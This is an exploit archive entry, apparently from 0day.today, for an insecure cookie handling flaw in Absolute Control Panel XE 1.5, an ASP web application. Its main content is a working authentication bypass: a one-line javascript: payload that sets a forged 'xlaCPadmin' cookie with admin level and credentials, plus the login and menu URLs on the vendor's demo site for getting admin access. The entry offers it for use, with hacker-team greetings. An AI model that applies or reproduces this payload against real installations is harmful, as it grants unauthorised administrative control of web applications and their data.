Absolute Control Panel XE 1.5 Insecure Cookie Handling Vulnerability

2008-10-31T00:00:00
ID 1337DAY-ID-3976
Type zdt
Reporter Hakxer
Modified 2008-10-31T00:00:00

Description

Exploit for asp platform in category web applications

                                        
                                            ====================================================================
Absolute Control Panel XE 1.5 Insecure Cookie Handling Vulnerability
====================================================================


[~] Discovered By : Hakxer
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Control Panel XE [see script] http://www.xigla.com/absolutecp/demo.htm
[~] Greetz : Allah , Egyptian x hacker , All my team , All educ-up Member
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutecp/xlaabsolutecp/login.asp
Second Execute JS Code 
[~] javascript:document.cookie="xlaCPadmin=lvl=1&[email protected]&pwd=admin&usr=admin&userid=1";
Now Go to http://www.xigla.com/absolutecp/xlaabsolutecp/menu.asp

--- Proud To Be A Muslim ---

# _=END=_ #



#  0day.today [2018-02-19]  #